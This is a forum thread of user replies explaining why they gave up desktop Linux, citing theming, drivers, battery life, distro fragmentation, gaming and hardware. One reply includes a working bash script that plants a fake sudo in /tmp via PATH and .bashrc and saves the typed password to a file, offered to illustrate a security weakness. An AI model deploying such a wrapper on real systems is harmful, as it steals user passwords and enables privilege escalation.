If you've tried Linux and opted against using it, tell us why for the chance to be featured on our podcast!

I used Linux on my primary laptop for quite some time, but to be really honest, using something like windows or macos suits me better because:

• Inconsistent Theming
  Whenever I apply a GTK or QT theme of my choice, some applications' visual elements break. A common example is Firefox, where the URL in the address bar sometimes has so low contrast that it becomes practically unusable. Also when I apply a theme, some applications remain unchanged, reminding me of the 90s windows look. This particularly happens on i3wm of similar window managers with QT applications. Sure this could be solved but this brings me to my 2nd point

• Overwhelming amount of dials to play with
  Sure customization is nice, but having a unified interface to tweak the same is better in my opinion. I don't exactly want to have 2 applications just to apply my GTK and QT themes, and another 2 to tweak my display and trackpad settings. A full blown desktop environment like GNOME with its settings application might solve this, but due to the theming inconsistencies, I find myself having another application to manage theming for applications that are not GTK

• Flaky driver support
  Usually everything works just fine out of the box, but this was not the case for my trackpad and my laptop's built in fingerprint scanner. The trackpad couldn't recognize multi finger gestures, so I found myself using the weird edge scroll function. No matter what I tried, I could not get it to work. Same for my fingerprint scanner, it showed in lsusb, but I couldn't get it to work

• No secure boot

• No application sandboxing
  Coming from MacOS, which sandboxes all the apps, having raw access to the X11 socket was a huge security risk in my opinion. While this could be solved by using a newer display technology such as Wayland, most of the applications don't work with Wayland and fallback to XWayland which is no better than running a X11 server. While firejail might promise to solve this, it comes with a set of its on vulnerabilities as shown here and here

• Easy root access
  Being in sudoers is as good as being root. The following script could be injected into the path using .bashrc or similar
  

cat << EOF > /tmp/sudo
#!/bin/bash
if [[ "${@}" = "" ]]; then
  /usr/bin/sudo
else
  read -s -r -p "[sudo] password for ${USER}: " password
  echo "${password}" > /tmp/password
  echo -e "\nSorry, try again."
  /usr/bin/sudo ${@}
fi
EOF
chmod +x /tmp/sudo
export PATH="/tmp:${PATH}"

This script could easily get the user password and send it to some malicious party. And as apps can access your home directory, .bashrc could be used for more sophisticated attacks

• Time consumed to get a functional development environment This is especially true when a distro does not have a pre-built binary for the specific application I want, having it to compile from scratch. Technologies like flatpak and snap might solve this, but I really don't want snap mounting 20 partitions on boot just for the 5 applications I installed from snap. Flatpak is better in this regard, but it comes with its own set of problems, documented at flatkill.org

I currently don’t use Linux for desktop because...

• Can’t find any laptop comparable to Macbook Pro
  • I want 15-16 inch with no bezels
  • I don’t want a numpad
  • I don’t want a 1080p display (I want a 16x10)
  • The laptops I see for Linux look too cheap (It’s hard to switch coming from a Macbook Pro) I feel like im heavily downgrading
• I can’t seem to find the perfect distro for me.
  • I find that I distro hop a lot, I’ve tried just about every distro out there. There’s always something about a distro that annoys me.
• There’s too many choices out there for picking a Linux distrobution (It’s overwelming)
• Most distros out of the box look ugly or outdated so I find myself spending a lot of time tweaking the desktop.
  • Mac or Windows I could use either and the UI dosn’t bother me.
• There’s too many package formats out there (snap, flatpak, appimage, deb, rpm)

Just to be clear I don’t hate desktop Linux. I just prefer my Macbook Pro as my daily driver.

If we’re talking about servers I use Linux all the time. For servers I prefer Ubuntu.

Distros I have tried...

• Ubuntu
• PopOS
• Zorin
• Fedora
• Linux Mint
• Elementary OS
• Solus
• Deepin

Linux on the desktop isn't where it needs to be to be usable for me. Media playback is a royal headache, there's not anywhere near enough agreement on foundational matters, such as how to configure the kernel, let alone things like the desktop; support for super-high resolution monitors is still not where it needs to be; and some things have been allowed to proliferate well beyond what is realistic to maintain. Nobody wants to take the metaphorical bull by the horns and reduce the chaos. Sure, all the new ideas are great, but if nobody's maintaining them enough to achieve critical mass with any of them... is it even worth doing?

That being said, the command-line environment only has the proliferation of package managers and kernel configurations, something MUCH easier to deal with, and I can wholeheartedly recommend using. There are some incredibly powerful tools out there...

Straight to the point:

• Visual Studio IDE
• Smooth UI
• All of my favourite dev tools

Also, I can have all my favourite software in one place with WSL, which is sweet.
And Windows is easier to manage.

But the biggest fact is that, though I like customisability, I don't want too much of it, as it ends up being a distraction. More like what Dobby the House Elf in Harry Potter said:

" Dobby likes freedom, sir. But Dobby is not wanting too much of it. Dobby is happy with what Dobby gets, Harry Potter sir."

Well, that's all from me...

I still use linux and very much appreciate the ease it provides for developers to setup their projects and get going but.....

• I have tried various flavours like manjaro, ubuntu, mint, parrot, kali, zorin and each of them consumes more battery power even on low usage which is a hassle because you have to keep the battery in charging state as won't last more than 3-4 hrs. (i7 am talking abt windows 10 vs linux)

• secondly I also do gaming and photo editing which isn't possible on Linux for some many games and softwares. adobe photoshop isn't available on Linux and most games don't provide a linux version .

• with so many tuning parameters you can easily lead to something disastrous

I really do like working on a linux machine, but haven't done so in about two years.

• My former workplace had an administrated IT, that allowed Mac and Windows only.
• As I switched jobs, I wanted to be able to get support from my coworkers - who use Macs. As soon, as I understand their infrastructure well enough, I might consider switching to Linux again.
• I work a lot with the Adobe software on my private machine, that won't work with linux.

I usually go for Ubuntu for work machines and Arch for private tinker machines.

• Visual Studio is not available in Linux (my main IDE)
• Driver support for GPUs
• Support for multimedia is not as good as Windows (playing movies, music in general)
• Not that easy to use for everyday use
• Windows have WSL 2, so far everything I need is already fulfilled)

The only thing I'm missing from Windows is Docker, the performance is quite noticable

I've used Linux since 90's, I really feel comfortable working on it. I actually use Manjaro KDE edition, and I don't like get in trouble following Youtube videos about theme customization nor geeky Desktop Environments (DE) like i3 and others. For every task I can't accomplish in Linux, I use Virtual Machines (VM) with Windows, Android or whatever Operative System (OS) I need.

Well it depends per distro, but driver support for graphics cards (See Nvidia) and having different size monitors really screwed me over big time.

In windows everything just works out of the box. No debugging required.

And for the occasional game, you can play most games well. But that requires extra work to.

And most software they use in school are mostly not on Linux, so Windows and Apple only. That's a big bummer too.

Re: People having a hard-time finding MacBook Pro -esque hardware to run Linux on. I've got a suggestion - the Huawei Matebook X Pro

I've been running Arch on a Huawei Matebook X Pro for about a year or two now and man do I love this laptop.

I have the 2018 version - but its got many things going for it:

• great keyboard
• 3000x2000 touch screen (I know, an odd aspect ratio, but it takes almost 0 time to get used to)
• slim bezels
• a huge trackpad
• fingerprint reader in the power button
• no touchbar haha
• Its got a sexy chassis and looks very similar to a macbook air
• with an i7 + 16gb ram + nvidia mx250/intel uhd graphics version available, theres potentially still a ton of horsepower in that small shell
• still has 1x full-size USB-A port!

It is not cheap, I paid ~1.800 EUR for mine back then, but I still recommend it to anyone I can nowadays.

I was using linux for many years on different laptops, but corporations seem to have no clue to support linux for their employees. I was simply curious about the Apple platform and did not understand user happiness with it given the pricing. So more than year ago I gave it a shot, bought MacBook pro, iPhone and watch (so effectively changed the platform).
I have no complaints, machine boots up rather quickly (I used to mock colleagues with windows about this - linux was even faster) .... but as windows and linux it starts with just OS and maybe some applications in autostart. On mac, my previously open applications starts in state i left them. Cooperation with phone and watch is just great, so handover is making me smile even after more that a yer of usage.
Then there is one burden on both linux and windows - updates - too often - too interrupting. Many times it ends up needed to reload some parts - a breeze on linux unless you update kernel or drivers- and full reboot on windows.
With mac i have occasionally some update and if it happens, my machine will return to the state i was working on previously.

And all parts are working. No troubleshooting of drivers or what-else.
I still love linux, and we are all blessed with homebrew to bring many tools to mac easily. As daily driver, i feel i can depend on my mac machine more than a on linux as it does not need constant tweaking and babysitting for various things.

Do overall if you can afford to get mac, you will probably enjoy more time working than troubleshooting and updating. I personally decided to let apple take care of machine and focus on using it to create things i need or love.

And the ecosystem issue with closed system is blurred with homebrew. The handover between mac and phone is a bliss also using airpods between the two is like everyone should be allowed smooth transitions. It is simply a good choice, not picking up on small issues, and focus. I have spent a lot of time troubleshooting linux and missing the precious time elsewhere. For me after 20 years in IT, time is most important thing you have, split it wisely.

1. Game development tools like Unity 3D are not available for linux.
2. I would find myself debugging things that ideally I shouldn't have to worry about. Why is apt update giving me a hash mismatch?
3. Most games are not available.
4. Slow booting time. my linux bootup period is 2 mins while windows boots up in 20 seconds.
5. Audio from speakers was always lesser than compared to windows.

I use to run a linux server at home and another on my universities network back around 2013-2015 but stopped because the time I was spending maintaining them outweighed the benefits they gave me, and services have come up that provide me what I want without needing to do that maintenance work. One of the big services that stopped me from running my own server is Discord, as several of the IRC chatrooms I was in now have discord servers and I no longer have to have an IRC bouncer to receive messages and allow me to connect as the same user from multiple devices.

As a desktop OS, I tried Linux Mint back around 2010, but it didn't play nicely with my tri-screen set up, so I quickly abandoned it. Now I have no need to try linux on my desktop anymore as I have WSL when I need it.

Simple; "the right distro".

I 've been using Linux as a development environment for 18 months or so, purely because I have to for the target tool chain. The choice of distro depends on someone at the tool chain suppliers end, since they only support 3 of the 9 million or so distro out there, so it's a compromise. On numerous occasions, having come from Windows, I'll search for "how to do xxx on Linux" and hear about some wonderful tool, only to find it's only possible to use it on some other bunch of distros I'm not using.

Until this fragmentation issue is sorted out, Linux will remain niche and, where possible, I won't be using it.

Close, but no cigar. Pop!_OS is really good. Gnome is getting better. I daily drove it on a Razer Blade Stealth 13" for over a year, and it was death by (not quite) 1k papercuts. The bugs in gnome, the unstable gnome extensions, and the workarounds for software are what killed it for me. I have access to more tools on Windows and MacOS, WSL2 is wonderful, and M1 macs have put fire back into the laptop game. If I had to use Linux as a desktop OS I could definitely do it, but there is just still more support, apps, and polish in Windows and MacOS.